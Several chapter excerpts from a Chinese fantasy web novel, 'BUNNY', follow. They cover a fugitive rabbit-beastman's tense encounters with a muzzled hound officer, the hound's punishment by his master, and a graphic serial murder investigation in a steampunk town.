和别的猎犬不一样,这个男人已经高度人形化,除了兽耳和尾巴之外,已经和正常人类无异。 但很恐怖的是,他身上带着的野兽的气息,比雪茸见到的任何一只猎犬都要浓烈、瘆人无数倍。 刚刚自己一进门,那气息就仿佛一座巨大的山,死死将他的胸口压住,与此同时,又像在他的心口点了一把火,叫他全身都烧得难受。 这已经不只是精神上的厌恶和排斥,而是一种能唤醒骨髓里战栗的血脉压制。 雪茸不得已低下头——他的颤抖和心跳过速,其实不完全是演的,虽然他心理上并不恐惧慌张,但他的身体早已经叫嚣着做出抗议。 再不快点,耳朵又要出来了。 尽管身体在这强压下极其不舒服,但雪茸还是井井有条地做好了所有事情,问方、取药、称重、打包…… 临走前,摸 10.长耳兔子010 《BUNNY》全本免费阅读 面对这突如其来的回马枪,雪茸没有露怯,反倒是很快调整好状态,恢复了面上的从容。 但这人带来的压迫感,让他的身体烧得越来越厉害。雪茸不得不避开他的眼神,微微偏过头去:“长官见笑了,这是我自己调的香,拿不上台面。” “是吗?”猎犬的眼里露出一丝调笑,上前一步望他,“丁香、肉桂、茉莉……这些可不是拿不上台面的料子。” 那人分明没有低头去闻,也没有太过侵犯性的动作,可光是站在自己面前,就把自己三天前用的香料都掘了出来。 恍惚间,雪茸产生了那人埋在自己颈侧闻嗅的幻觉,甚至感觉到了那人炙热的呼吸,将自己的气息一点点抚开、一点点拆解。 全身的温度腾起,他本能地想躲,回过神才发现,那人一直站在原地,根本没有探过身子来。 雪茸抬起眼睛,好不容易控制住的身子又颤抖起来。 心脏快炸了,身体也快烧化了。雪茸用尽全力攥紧手杖,控制不住地开始咳嗽。 “您看起来不太舒服。”猎犬的语气非常真诚,真诚得让雪茸一阵恶寒,“不吃药吗?” 这句话简直就是在明示着什么,雪茸心跳一滞,手指控制不住地去够藏在袖口里的药片。 只要吞下那片药,身上的不舒服就会立马散去了,心跳会平稳、呼吸会顺畅、那掉了半截的小命也就回来了,但是…… 但是如果吃了药,自己的耳朵就会冒出来,身份暴露、那也就彻底完蛋了。 雪茸再次看向眼前的人,那人的表情始终平淡冷静,但仔细看就能看见,这冰冷的背后,还带着一丝几不可闻的戏谑。 像是一个玩弄猎物的野兽,充斥着叫人发寒的恶意。 雪茸咬紧了后槽牙——他向来没有在猎犬的面前落过下风,也绝不允许自己处于这样的被动里。 “不用。”雪茸悄悄握住了手杖,“劳您费心了。” 论体格和蛮力,对方绝对有压倒性的优势,自己如果想要反击,就必须做得神不知鬼不觉,行云流水、不能卡壳…… 手杖侧边的麻药虽然劲大,但是起效有延迟,面对眼前这个人,雪茸不敢随意尝试。而如果使用藏在里面的火枪,就必须要对准他的喉咙或是、毫不犹豫地、一招毙命。 显然,自己现在的状态很难有这样的准头和速度。 雪茸忍着浑身的难受,抬眼仔细打量着对方——他的兽耳看起来非常敏锐,自己只是轻轻动了一下手关节的功夫,耳朵就顺势转了过来。 看来想要悄无声息地突袭是行不通了。 雪茸的目光又扫向了那家伙脸上戴着的口笼——见到他的第一眼,雪茸就被他脸上这纯黑色的铁枷吸引住了目光。 这种装备通常见于极富攻击性的猛兽,用来控制住他们的口部,防止失控伤人。眼前这人佩戴的,显然也是起到这样的作用,只不过从结构和材质上来看,甚至比一般猛兽使用的更加坚固,看上去,好像还有防挣脱的惩罚机制。 很有意思的设计,如果没有一些机械技术,靠着蛮力确实很难挣脱。一想到这里,雪茸忽然觉得眼前这家伙也没有看上去那么恐怖了——连獠牙都没有权力使用,不过是个虚张声势的困兽罢了。 似乎是感受到了雪茸直白的目光,闻玉白始终平静、戏谑、不以为意的神情,终于冷却下去。 他皱起了眉,有些烦躁地摸了摸自己的耳后——他在抠口笼的固定带,似乎已经预料到了他的不服管,平时通常为皮质的长带,被金属链条加固了好几圈。 摸到锁扣的一瞬间,猎犬的脖颈都爆起了青筋。雪茸见状,轻轻弯起双眸,轻声问:“为什么生气了?” 这句话,直接让猎犬的负面情绪爆燃开来,那扑面而来的信息素,几乎是在一瞬间将雪茸淹没。 他的心脏已经到了极限,视野也开始晃动起来,身体机能濒临崩溃,于是他干脆趔趄一下,直接向前倒去。 如他所料,这位性格底色相当恶劣的猎犬没有避让,反倒是非常绅士地伸出手,迅速托住他的臂膀,一副假装关怀的模样,让猎物依附到自己的身上。 猎犬声音在耳侧响起,冰冷的杀意几乎要具象成一把刀来:“管好你自己。” 雪茸没躲,反而顺势抬起下巴,将脑袋轻轻搭到猎犬的肩膀上。 “抱歉。”他在猎犬耳侧低语道,“我有些头晕。” 那人的身体几乎可以用滚烫来形容。雪茸很难判断这样的高温是否正常,他只知道,再这么下去自己也快要被焚烧殆尽了。 速战速决。 雪茸保持着姿势没动,侧过眼——他能感觉到,在自己趴上去的一瞬间,这家伙的全身肌肉都倏地紧张起来,不是因为别的,而是因为自己离他的口笼太近了。 自己的脸侧,就是冰冰凉凉的金属触感,就是这么一个冰冷的东西,把眼前这家伙的自由、野性、兽||欲牢牢锁住,让一只骄傲的猛兽俯首称臣,甘愿为人类所驱使。 这样一个让他恨之入骨的东西,猎犬自然是排斥让别人触碰的。 但和他预料的一样,这人并不愿意轻易暴露自己的软肋,在自己有所动作之前,他保持着戒备的肌肉紧张,却并没有做出其他动作。 他大抵是侥幸觉得,雪茸不会继续触碰他的底线,但很可惜,眼前这家伙,就是个擅长得寸进尺的家伙。 非常自然的,雪茸轻轻启唇,在他耳边喘息两声:“……有些热啊。” 自己灼热的气息轻轻拂起了对方的发丝,他看见那两只兽耳几乎是克制不住地猛烈抖动了两下,下一秒,雪茸就伸出手,环住了猎犬的脖子。 这动作,看上去像是雪茸体力不支,顺手借力撑住身子,但只有他俩知道,雪茸的手指,早在不知何时,就覆上了他颈后的固定带。 “……”猎犬的呼吸明显凝滞,雪茸的眼里终于露出笑意——他赌对了。 凑近能看到,那固定带的末端有一个小小的圆孔,圆孔周围有非常小的齿轮连接,如果没猜错,这小孔的内部,可能藏匿着某个足以让猎犬毙命的东西,比如一根抹着剧毒的针。 这个装置存在的意义,必定是为了防止猎犬挣脱失控 11.长耳兔子011 《BUNNY》全本免费阅读 雪茸心里比谁都清楚,以这人的实际能力,他们三个联手也不可能打得过。但他还是选择了肆无忌惮地蹬鼻子上脸。 一方面是因为从刚才的交锋之中,雪茸便知道这人不会杀死自己,另一方面则是因为,惹恼眼前这个假正经的恶狗,会让他感受到非常纯粹的愉悦。 尽管莱安把他往回扒拉的时候,握着剑柄的手都在颤抖,但雪茸还是不忘扭过头,朝那面色铁青的猎犬道别:“再见,长官。谢谢您的关心,我会记得吃药的。” 先前那家伙大抵是对自己没有多少杀心的,但这回肯定是有了。 雪茸转过身,抓牢了莱安,小伙子立刻跟受了惊的马一般,飞驰着逃离了现场。 梅尔赶忙跃到莱安的肩头,给面色惨白如纸的雪茸喂药。 刚一离开猎犬的视线,雪茸就完全没有了刚才的神气,兔耳朵终于不受控制地耷拉下来,意识也变得迷离,就连吞咽的动作都要有梅尔的辅助才能进行。 “……”梅尔变回人形,从莱安的手里把人接过来,侧放到马车后座,让他躺好,“你拿命犯贱的本事真是让人佩服。” 雪茸闭着眼睛,假装昏迷不醒的样子,兔耳朵却悄悄往身后藏了藏,拒绝接受他的指责。 看着他的嘴唇渐渐恢复血色,所有人都松了口气,没怎么见过大场面的莱安更是一阵虚脱,直接颓坐到角落里去。 也不知道那个猎犬会不会追过来报复,莱安一回想起那人冰冻三尺的眸子,就忍不住一阵恶寒—— 而此时,在不远处的丛林里,闻玉白本人盯着他们离开的方向许久,直到那扰人的燥热退去些许,才堪堪收回目光。 他转过身,状似不经意般伸手,摸了摸口笼,指尖刚好触碰那兔子用鼻尖贴过的地方。 脑海里快速闪现出那兔子弯弯笑着的眼睛,闻玉白的五指猛地收紧,从正面死死抓住了口笼,就像是掐住了兔子那羸弱细长的脖子一般。 “咔咔……”坚硬的金属结构在巨大的力量之下发出异响,闻玉白的手背也爆起青筋,他仿佛已经听到了兔子的哀鸣,看见他歪着断掉的脖颈,面色铁青地死在自己的手心里。 手指越收越紧,直到他明显感觉到口笼支撑不住快要断裂,才骤然从暴虐的幻想中抽出身来。 闻玉白犹豫着收回手——再晚几秒,口笼断了,自己也就要一命呜呼了。 他抬头看着天,企图用深呼吸来平复自己的情绪,但很快他又咬紧了后牙——妈的,一股兔子味。 “不。”那人笑吟吟在他的脑子里说,“是丁香、茉莉、肉豆蔻。” “……”闻玉白再次握紧了拳头。 回药铺之前,他特意绕了个路,去附近的小溪狠狠洗了把脸,又随手揉了些野花抹在口笼上,盖住那若有似无的气味,才勉强能做到自欺欺人。 一推开门,正对上那半死不活的江湖骗子,眨巴着眼睛望着自己。 闻玉白看着他,沉默了片刻,说:“给他松绑。” 刚还在打瞌睡的队员们差点吓醒了:“啊?不抓兔子了?” 现在叫上队员,顺着气味去抓,其实完全来得及,而他又清清楚楚看到了兔子的样貌,发布一份协查通缉令,也是非常顺手的事——只要他愿意,那颗兔子头很快就能高高悬在皇城的正中央。 但不知道是哪根弦搭错了,闻玉白却说:“兔子不在这。” “意思是……他不会来了?”队员问。 “嗯。”闻玉白说。 这位长官长了张嘴,向来只会命令不会解释。没有人知道这一出到底是在干什么,莫名其妙地赶到遥远的埃城,又莫名其妙地空手而归。 但队员们也逐渐习惯了在莫名其妙中执行任务,于是只能有些不爽地转过身,给许济世松绑—— “我就说嘛!”许济世见状,立刻荡漾起笑意,“你们确实是搞错了……” 话音未落,闻玉白又转身看向他,表情无比平静:“兜售违禁药品是吧?送去拘起来。” 看着许济世的笑容凝固在脸上,又转化为难以置信的惊恐,闻玉白压在心底的火终于得到了释放——舒服多了。 这一趟至少还拘了个药贩子,队员们的心情得到了些许慰藉。但很快,就有人硬着头皮找上闻玉白:“队长……今天还继续抓捕吗?” 闻玉白停顿了两下,抬起眼,看着窗外暗沉下去的天色,说:“不继续了。” 队员不得不低下头,紧张道:“先生来埃城了……说是来关心你的工作……” “我知道。”闻玉白垂下眸子,几不可闻地皱起眉,起身,“走吧。” 片刻后,两个人一左一右架着许济世,剩下十来人紧紧跟在闻玉白的身后,像是兵分两路,压着两个不同重量级的犯人上刑场一般。 闻玉白已经习惯了被自己人盯梢,但眼下的情景,还是让他感受到无法忍受的烦闷。 他们正在走向埃城的镇中心,队员口中的那位“先生”,今晚就要下榻于此。 当然,来的必不可能只有他一人。 “汪汪!!”老远地,就听见一串欢快的脚步声传来,队员们抬起头,就看见一只巨大的伯恩山犬,正撒着蹄子朝闻玉白扑来。 和伯恩山犬的热情形成鲜明对比的,是闻玉白脸上拒人千里的冷淡,似乎是看到他皱起眉,伯恩山犬在距离他快五米的地方,变成人形—— 一个高大又漂亮的青年跑过来,给了他一个大大的拥抱:“大白哥!!” 闻玉白显然不愿意和他腻乎,“啧”了一声把他的脑袋推开,那家伙还保留着犬态的行为习惯,半吐着舌头,用脑袋蹭他的掌心。闻玉白无奈地伸手,摸了摸这家伙的脑袋,看着他开心地甩起大尾巴,绕着自己左蹭右蹭。 闻玉白始终不理解,为什么会有家伙比起人类形态,更喜欢用兽态活动,也不明白为什么明明自己对他这么冷淡排斥,他每次见面还是会这么极致地热情,更不明白为什么他给人当狗,还能当得这么快乐…… 他又看了一眼这家伙晶亮亮的眼睛,叹了口气——算了,要是真能明白傻狗在想什么,倒是真该反思一下了。 就在这时,远处传来一声清冷的男音,用东方大陆的语言呼唤道:“长生?” 青年听了,脑袋两边耷拉的毛耳朵兴奋地摆了摆,他转过头,看到来人时眼睛都亮了起来,立刻变回毛茸茸的大狗模样,匍匐到来人的身边去:“主人!” 闻玉白听到这声音,皱紧了眉头,不愿与人对视。 有点眼力见儿的队员们早已经退下,只留下闻玉白一人站在原地。 正前方朝这边走来的,是一位面容清冷、五官玉润的东方男子。他用白色发带高高半束着发髻,散落的长发及腰,一身素白飘逸的广袖交领齐腰汉服,手持一把白玉鞭,与这四周的西洋格调格格不入。 男子名叫闻风清,就是队员们口中的那位“先生”。 他曾是东方大陆某国的官员,因仕途不得志而选择远渡重洋,来到韦斯特大陆谋求前景。韦斯特大陆向来抵触东方大陆的旅者,但这人偏偏有些本事在身上—— 相传,他训犬本领极佳,精通烈性犬的驯化之道,手中更是培养出来两只素质极好、质量极高的高级猎犬,几乎可以解决一切麻烦,凡事出手,必定药到病除。 那两只猎犬,此时一只正趴在他的脚边撒欢,名叫闻长生,另一只则阴着脸、戴着口笼,遥遥站在他的对面——正是闻玉白。 “玉白。”闻风清走到他的面前,语气轻轻的,却带着极强的压迫性,“人呢?” 12.长耳兔子012 《BUNNY》全本免费阅读 这句挑衅带来的后果便是,闻风清用那根随身携带的、带着倒刺的鞭子,狠狠抽了他半个晚上。 实际上,如果闻玉白早早服输求饶,给他带来心理上的满足,那么这场惩戒一定会结束得早很多,然而这家伙偏就跟不知道疼似的,纵使那人挥鞭子挥到大汗淋漓、抬不起手,他也只是咬着牙,一声不吭,用那双冰冷的兽瞳幽幽瞪着他。 这样的态度让闻风清更是火冒三丈,他几乎下了死手去实施这场鞭刑,直到闻玉白握紧拳头,结实的铁铐传出即将断裂的“咔咔”声,闻风清才骤然收回手—— 他太清楚这野兽有着怎样的力量,一旦这家伙没了耐心,挣脱这个铁笼扑杀自己,也就是抬抬手的事情。 但这样离开必然丢了他的面子,和闻玉白对视片刻后,他开口平静地宣布:“BUNNY的事情交给长生了,我觉得你暂时还没有能力胜任。” 听到这里,闻玉白无所谓了一晚的态度,终于阴冷下来。 即便他再怎么不愿承认自己是个动物,但那刻在骨子里对猎物的占有欲,还是无论如何也消磨不掉的。 看见闻玉白脖子上暴起的青筋,闻风清终于大获全胜般释然了:“好好反思吧。” “砰”地一声,房门被关紧,只留下闻玉白被半吊在一人高的笼子中。他皱着眉,动了动脖子,正在凝固的伤口又开始渗出血来。 他身下的铁笼中满是飞溅出来的血滴,原本穿着的白衬衣早已经被划破染红,背上一条条旧疤上又盖上了新伤,暴露在充满血腥味的空气中,叫人喉咙发痒。 四肢和脖颈被固定住的姿势让他有些难受,闻玉白磨了磨快要忍耐不住的尖牙,沾着血的喉结上下滑动着。 口渴。闻玉白舔了舔嘴唇,血腥味让他更渴了——从刚才到现在,他没有进食也滴水未进,加上鞭子抽打流了汗失了血,他现在的身体是极度虚脱的。 实际上,不给他喝水进食,比那人不痛不痒的鞭挞来得折磨多了。闻玉白感受到了体力的流失,他的视野开始变得模糊,偏偏这时候脑子里又响起来闻风清的话——那人要把抓兔子的活交给闻长生了。 更烦躁了。 如果再喝不到水,他大抵就要自己走出这个笼子了,到时候的局面,对谁来说应该都不好看。 这样想着,他本来还保持着人类状态的修长手指,就已经不受控制地开始绷紧、冒出属于漆黑、尖锐的野兽利爪来。 他会把笼子撕破——或许不止是笼子,闻玉白这样想着,脑海里已经显现出了闻风清四分五裂的样子。 然而下一秒,房门被敲响,闻玉白骤地抬起头,还没等他哑着嗓子说点什么,门就被小心翼翼地推开了。 门口,一只身形庞大的伯恩山犬小心翼翼地钻进房间来,它嘴里叼着一只竹篮,还没走进来,闻玉白就嗅到了一股食物的香气。 大狗蹑手蹑脚关上门,把篮子叼到铁笼门口,发现不大好递进去,这才小心翼翼变成人类的模样。 “哥,你还好吗?”刚刚变回人形的闻长生凑过去,摸了摸自己耷拉在脑袋边的狗耳朵,接着忙不迭弯腰给闻玉白递水,“看你一晚都没吃东西,我瞒着主人过来的。” 因为抢兔子的事情,他多少有点怨怼闻长生,但看到眼前这番情景,他又气不起来了。 “不怕他打你?”闻玉白抬起眼皮看他,接着又自嘲般笑了笑,“忘了,他可舍不得打你。” 闻长生大约是对这样的话完全免疫的,一边毫无芥蒂地给他递水,一边摇着狗尾巴说:“哥,你以后少跟主人顶嘴了,他生气了,你们都不好过。” 闻玉白知道跟他说不明白,便也懒得搭理,一个发力握拳,“咔嚓”挣断了右手的链子,伸手接过对面递来的水。 这家伙准备得确实匆忙,没有拿自己专用的杯子,口笼让他的进食进水都变得艰难起来,但闻玉白倒也是习惯了。 杯子递不到唇边,他便抬起头,悬空朝口中倒水,清水滑下了他的喉咙,也有一部分顺着下巴流向喉结,再带着一片鲜红的沟渠,蜿蜿蜒蜒爬向他的锁骨、爬进他的领口。 终于是解了渴,闻玉白又吃了点东西——这回那傻大狗倒是细心了些,帮他把食物切成小块模样,就着刀叉越过口笼、递进口中。 这样的进食方式,大约比装模作样的人类贵族还要斯文秀气,但闻玉白也忍了。 吃好喝好,他终于又觉得视野清明起来,那烦躁到几乎脱缰的破坏欲,也终于被压制住了——他总是在刻意用理智压制所谓的本能与冲动,当意志不够用的时候,他那不愿承认的本性,总难免会露出头来。 看他身上的伤口还滴滴答答渗着血,闻长生眨了眨眼,问他:“哥,要我帮你舔舔吗?” 舔舐伤口是动物非常基本的自愈行为,但闻玉白不大能接受:“不用了。” 于是闻长生看着他,圆圆的眼睛亮晶晶的:“那我走了哥,血味好重,闻得牙痒痒的。” 见闻玉白没有表示,闻长生上前一步,把脑袋抵到笼子前。 闻玉白看着他毛乎乎的脑袋,拿他没办法,手伸过去撸了撸,那家伙才甩起尾巴,刚准备离开,又被闻玉白唤了回来:“长生?” “嗯?”闻长生立刻转过头,“怎么了大白哥?” 闻玉白尽可能让自己表现得不那么在意:“听说你要接手兔子的案子?” 闻长生摇了摇尾巴,疑惑道:“没听说啊。” “马上就要听说了。”闻玉白说,“你想接吗?” “想啊!”傻狗亮着眼睛道,“主人安排的事情我都想!” “……”闻玉白沉默了半晌,又道,“长生啊,是这样的,这个案子之前是我负责的,所以我很清楚——这个兔子,比通报中说的还要危险,你自己一个人搞不定。” 闻长生立马被他唬住了,瞪圆了眼睛:“真的假的?” 说完他皱起眉绕着尾巴转了一圈,沉思片刻后得出结论:“哥,连你都没能一次把他抓住,看样子是真的很危险了。” 闻玉白挑挑眉,不动声色道:“嗯,我就是提醒你注意安全,遇到情况一定要跟我说,不要自己莽撞行事,知道了吗?” “嗯!!”闻长生很用力地点点头,“谢谢哥提醒我!!我一定小心!!” 孩子还是一如既往地好骗,闻玉白看着他离开的身影,疲惫地闭上眼睛,放下心来,黑夜便在这逼仄的铁笼中匆匆划过了。 翌日清晨,埃城边界的某辆马车里。 雪茸经历了一夜高烧,身体终于有所起色、神智也恢复了许多,只是依旧虚弱得很,闭着眼睛靠在座椅上闭目养神。莱安忙了一晚,也终于扛不住,抱着肚皮朝天的OO睡着了。 车厢内一 13.目光女神013 《BUNNY》全本免费阅读 深夜,旧教堂不远处。 穿着褪色红裙的少女,把醉醺醺的客人搀扶到正街的路口丢下,便转过身,毫不留情地走回她来时的那条街道。 这条街名叫“车厘街”,是一处阴暗隐蔽、却又相当“热闹”的小巷子。这里是埃城出了名的红|灯|区,用粗俗下流的说法,这里又被叫作“ji女街”。 少女就是在这里的一处店面工作、居住。 此时已经接近半夜三点,她今天接待了三位客人,现在浑身疼得厉害,只想回去好好睡上一觉。 身后传来了客人震天响的鼾声,少女却不想看他半眼——和这个一毛不拔的铁公鸡耗了半个晚上,直到把他彻底灌醉了,自己才在他的身上摸到些“小费”,现在她恨不得快点让这人消失在自己的眼前。 反正巡逻的警督会捡到他,就算运气不好在马路睡上一夜也没什么关系,夏季的夜晚冻不死人,明天一早,就会有旧教堂的牧师碰到他的。 少女低头从胸口里掏出今天的“小费”,忍不住又数了数,瞬间便觉得今天的辛苦也算是值得了。 明天给自己放一天假吧,她想,终于可以给妹妹买一只新书包了。 想到这里,少女忍不住面露笑意,步伐都轻快些。 深夜的埃城冷清得有些吓人,除了不远处车厘街隐约营业的灯光,整个镇子的街道都漆黑一片,遍地可闻的锅炉声在狭长的巷口穿梭,像是吃人的怪物,叫一阵背后发凉。 少女浑身一紧,四处张望了一番,将钱塞回胸口,赶忙加快了步子。 听街上姐妹们说,最近附近治安好像不大好,这两个月已经发生三起命案了,最近又总听说有人似乎失踪了——说是似乎,因为干这一行的很多都是外地人,突然来又突然离开的事情太常见,大家谁也不会过问彼此的行踪。 或许是已经找到了有钱的靠山了,少女一边自我安慰,一边又有些羡慕地心想,换做自己傍上了有钱的,也不会再回到这个地方半步了。 少女踩着高跟鞋,在石板路上快步走着,“哒哒”的脚步声回荡在街巷里。她明明已经习惯了夜间出行,但今天这阴风嗖嗖的模样,还是让她感觉到有些害怕。 她下意识拢了拢暴露的领口,刚准备拐进巷子里,就感觉到背后一凉——似乎有人在跟着她! 少女的心脏一下子蹦到了嗓子眼,慌忙回头看去:“谁?!” 看到来人的轮廓时,少女长长松了口气,继而装作没事人一样,朝对方弯眼笑了笑,算是点头打了个招呼。 漆黑的夜让少女看不清对方的表情,但很快,她便闻到了一阵浓烈的、刺鼻的血腥味。 她下意识回头看了一眼那个人来时的巷子,身后是乌漆麻黑的一片,但借着月光又似乎能隐隐约约看到,地上有一大片黑乎乎的、不知是什么的东西——那血腥味,似乎就是从那里散发出来的。 “……!!”少女下意识屏住了呼吸,紧绷着身子看向面前的人。 下一秒,那人忽然迈开步子朝她快步走来,看到那家伙手里拿着的东西时,少女便知道自己逃不掉了。 看来传闻是真的,少女失去意识前心想——妹妹的书包该怎么办啊。 清晨,一向安宁的埃城陷入了前所未有的恐慌之中。人们里三层外三层,把窄窄的路口围得水泄不通。 为了凑上最新鲜的第一手热闹,雪茸换衣服的速度都快出了残影。 “哗”地一声,拉帘被拉开。 雪茸穿着小洋裙,神采奕奕闪亮登场——长发、礼帽、长裙……他现在又变成了坎贝尔家那个不能说话的艾琳小姐。 他似乎还蛮享受女装的样子,走出来提着裙摆,朝莱安和梅尔行了个礼,那淡淡的香氛顺着裙边的风,轻轻在车厢内扩散开来。 莱安控制不住脸红起来,回头看向梅尔,发现这一向对主子极度不耐烦的猫,此时从下往上打量雪茸的目光,也变得难得温柔出神—— 果然,没有哪个男人能拒绝如此漂亮的“姑娘”。 但很快,当他的目光聚焦到雪茸的五官时,表情就忽然冷淡下来,那股子不耐烦的劲儿就又冒出来了。 梅尔不情不愿地扭过头,掏出一个箱子,又呼啦啦摆出一堆化妆品,把正要往车下跳的雪茸一把揪了回来:“坐过来把妆化了,别顶着那张逃犯脸瞎显摆。” 雪茸似乎永远没脾气,被自家仆人呼来喝去也不生气,就这么乖乖坐到桌前,抬着头,任由梅尔在自己的脸上一顿捣鼓。 一旁的莱安对此情景十分好奇——家里除了已经不再爱打扮的母亲之外,只有三个哥哥,倒是很少见到这番景象,他抱着OO在一边观摩,像是在围观一位伟大画家创作作品。 雪茸看着他认真的表情,伸出手指卷了卷那及腰的金色卷发,笑道:“这头发也是梅尔做的,厉害吧?” 梅尔没有搭理他的阿谀奉承,面无表情地打断道:“请记住自己是个哑巴。” 一旁的莱安倒是越看越佩服得五体投地——梅尔真是除了做饭什么都会,比自己家那满地的仆人加在一起还厉害! 其实雪茸的五官底子很好,偏柔和的线条在长发的修饰下,穿上女装完全没有任何违和感,其实光是这样就已经足够以假乱真了。 但梅尔还是认真地为他的脸上铺上一层淡淡的胭脂,这清淡又不夸张的红晕,铺在他苍白的皮肤上,倒是让他整个人看起来健康了很多,接着梅尔又认真修了修他的眼型,完美遮住了他狡黠中带着锐利的目光,取而代之的,是真的像小兔子那样楚楚可怜、不谙世事的纯洁。 修完眼睛、涂完唇膏之后,梅尔盯着他的脸端详许久,似乎总有哪儿不满意,直到雪茸开口:“挺像的了。” “你不要开口。”梅尔咬紧牙关,不耐烦地警告他。 接着他又上下扫视了一眼,转身,从马车上的那个花盆里摘下一朵白色的小雏菊,用别针别在他的衣领上,表情这才满意些。 雪茸显然已经习惯了,伸手理了理那朵小花,接着重新戴回蕾丝礼帽,提着裙摆下车了。 怕他出乱子,莱安赶紧跟上前,只是脑子里还回荡着刚刚他无意提到的那句——“挺像的了。” 像谁?是具体的某个人,还是单纯指看起来像女生? 他不敢多问,只是把OO揣进兜里,紧紧跟到雪茸身边去——从现在开始,他便是艾琳·坎贝尔小姐合格的贴身侍卫。 下了马车,看到面前满当当的警员和猎犬,莱安就差点儿一阵腿软。 但想到这些人暂时不是奔着自己来的,莱安又慢慢镇定下来,一抬头,自家“艾琳”小姐,早已经提着裙子,硬生生钻到人群最中央看热闹去了。 “……” 梅尔说得没错,这家伙是真不怕死。 人群簇拥的中心,是一张通缉告示。而一旁,好奇心驱动的雪茸,早已经举起了刚写好的纸条,问身边的路人:“请问发生什么事了?” 路人扭过头,解释道:“‘午夜刽子手’又出来杀人了。今天凌晨,在旧教堂门口发现了一具女尸,应该是车厘街的布朗小姐……” 说完,他还很可惜地补充道:“听说死状特别惨,凶手还挖走了她的眼睛……那么漂亮的眼睛啊,像大海那么蓝,像宝石那么亮……” 路人还没说完,就正对上对面这哑巴小姐的双眸,近乎透明的浅金色在一瞬间揪紧了他的心脏,他张张嘴,没敢说出口的是——现在倒是有更漂亮的眼睛出现了。 雪茸倒是很擅长运用自己的外貌优势,趁着人迷迷糊糊,一口气把想问的都问清楚了—— 这已经是这两个月的第三起杀人案了,据知情人士透露,案发现场极其恐怖血腥,发现尸体的牧师直接当场吓病了。 “那又怎么确定是‘午夜刽子手’干的?”雪茸又问。 “除了他还能有谁!”路人反问道,“还有谁能干出这么恶心的事儿?” 目前,警方正在积极寻找布朗小姐的失踪的眼睛,给予这可怜的少女些许安慰。 说到这里,路人忍不住遗憾道:“哎,可惜,真的是太可惜了。” “呵,干那种勾当的人有什么好可惜的?”一旁的男人冷笑道,“烂臭下作的biao子罢了。” 这句话像是个火药星子,直接逼得两人吵了起来。雪茸是个不能劝架的哑巴,只能竖着耳朵,竭尽所能听到更多的八卦—— 这双眼睛的主人奎尔·布朗小姐,是旧教堂附近从事x交易的ji女。 此前在大陆的其他地区,“午夜刽子手”案件的受害者也多为ji女、拾荒者、无家可归的赌徒这类“边缘化人物”,因此在坊间,凶手其实有个更加直白粗俗的称谓——“垃圾清道夫”。 “那魔鬼一定是嫉妒那双美丽的双眸!”路人叹惋道,“那漂亮的眼睛啊!” 是啊,为什么要单独带走眼睛呢?雪茸皱起眉。 此时此刻,他又感觉到了埃城那无处不在的“注视”。 ——像是被一双眼睛死死盯住一般。 与此同时,埃城车厘街。 女孩的尸体在巷子最里头,曲曲折折的根本什么都看不见、什么也闻不着,但闻玉白刚翻过警戒线,就忍不住皱起眉头——虽然人类不顶用的鼻子什么也闻不到,但对他来说,血腥味实在是太浓了。 一边的警官面色苍白地给他打预防针:“闻长官,死者身体被破坏程度有些严重……” “嗯。”闻玉白皱起眉,步伐放慢了些许,“闻出来了。” 喉咙发痒,全身燥热,想吃生肉。 这个念头快速闪过,闻玉白便第一时间从口袋里拿出特制的香水,沿着口笼的边缘抹了一圈,又吞服了一粒特制的丸剂,直到那血腥味散去些许,喉咙的刺痒感慢慢褪去,眉头才稍稍缓解开来。 猎犬就不应当调查命案,闻玉白无奈地心想,要不是他还算有些克制力,命案破不了不说,再犯下几桩案子倒是都有可能。 他想起了正代替自己出征的闻长生——那荤素不忌的傻狗,倒是大概率会喜欢这种任务的。 调整好了身体状态,再快步穿过狭长的小巷,站到尸体面前时,闻玉白的情绪要比所有人都平静几百倍。 面前的尸体死相可谓极其惨烈——她被人残忍地挖去了双眼,全身上下布满了发泄式的刀割伤,腹部被从上往下划开一道巨大的口子,露出被捣成了一摊血泥的内脏…… 身后几个警督,老远看了一眼就忍不住扶着门框狂呕起来,跟过来的牧师和神父也接连昏过去几个,剩下坚|挺着的也统统面如死灰,似乎稍一松懈就会精神崩溃。 早在嗅到血腥味的时候,闻玉白就料到了会有这样的画面。他盯着尸体,面无波澜,直视着尸体脸上那两个深不见底的黑洞。 那黑洞便就这样幽幽地、毫不躲闪地回望着闻玉白,那洞的边缘狰狞无比,像是两张惊慌的喉口,歇斯底里地迸发出恐惧的悲鸣。 闻玉白戴上手套,仔细摸了摸伤口的边缘,然后开始慢慢地、一丝不苟地检查着死者身体的每个角落。 忽然,他开口道:“为什么说是‘午夜刽子手’作的案?” “呃……”警官被问得一愣,这才为难道,“据说是上面又收到了他的署名信……” 闻玉白没有追问,而是道:“这个‘午夜刽子手’之前在其他地区作案,并没有挖人眼睛、还特意丢到别的地方的习惯。” 一旁抱着卷宗的小警督一听,立刻又低头翻阅检查了一遍,这才说:“确实是没 14.目光女神014 《BUNNY》全本免费阅读 眼前这枚兔子味的银币,是个极其重大的发现,但闻玉白却没有表现出任何异常。 “怎么样?”埃城当地的警官急忙问道,“有发现什么吗?” 闻玉白不动声色地将那枚银币收好,然后道:“暂时没有。” 分辨出兔子气味的第一时间,闻玉白下意识反应便是——那兔子就是杀人嫌犯。 毕竟能上通缉榜首成为全民公敌,一个完全没有道德感的家伙,杀杀人对他来说应该也跟洒洒水差不多轻松。 但很快,他就回想起那家伙的模样,想起了那细胳膊细腿儿、甚至是吓一吓都能瘫痪的身子。 那个兔子的浑身上下,从单薄的肌肉到稀疏的骨量、再到明显锻炼不足的动作反应,里里外外都在告诉全世界,他只是食物链最底端的兔子,只有别人杀他的份,他不可能杀得了别人。 所以这家伙的银币为什么会出现在死者的口袋里?闻玉白又瞥了一眼面前躺着的女尸——跟ji女有金钱往来,除了这档子事,还能有什么其他的理由? 如果不是杀人,那只能说明这家伙真挺浪的。闻玉白一边感慨这家伙纵欲过度,一边又莫名生出了一些几不可闻的嫌恶来——真是白瞎长了张干净纯良的脸了。 不管是杀人还是piao娼,都只会让闻玉白对那兔子的观感更加恶劣。 因为兔子的事情短暂分神后,闻玉白再一次仔细检查了被害人尸体——尸体上布满了不规则的刀口,很大一部分伤口,包括被挖空了的眼眶周围,都有肌肉收缩的迹象。 “被害人生前遭受到了虐待。”闻玉白说,“包括挖眼球的时候,人都还活着。” 警员们一听这话,脸都白了:“天呐……这是疯了吗?” 小巷子虽然偏,但尽头便是人来人往的市区,在这种地方实施侵害、虐杀行为,实在是过于大胆。 出于某种微妙的感觉,闻玉白并没有将调查得出的结果全盘托出——现场其实还有一个非常关键的信息。 